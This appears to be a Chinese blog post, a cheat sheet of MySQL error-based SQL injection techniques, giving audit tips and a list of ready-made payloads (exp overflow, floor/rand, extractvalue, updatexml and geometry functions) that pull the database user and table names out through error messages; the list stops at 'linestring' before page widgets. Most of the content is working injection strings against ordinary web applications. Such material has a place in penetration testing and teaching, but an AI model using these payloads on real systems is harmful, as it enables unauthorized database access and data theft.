MYSQL报错注入

本文详细介绍了MySQL报错注入的各种方法,包括floor报错、xpath语法报错、整数溢出报错、列名重复报错等,通过讲解报错函数、报错原理及示例语句,揭示了如何利用这些报错进行数据库信息获取。
摘要由CSDN通过智能技术生成

审计思路

  • 代码中带入查询的参数没有经过任何过滤并产生报错,具有报错信息提示,就可以用报错查询。

  • 常用报错检测符号:’ \ ; %00 ) ( # "

  • 报错函数通常尤其最长报错输出的限制,面对这种情况,可以进行分割输出。

  • 特殊函数的特殊参数进运行一个字段、一行数据的返回,使用group_concat等函数聚合数据即可。

报错语句

id=4 and exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a));

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring
  • 4
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值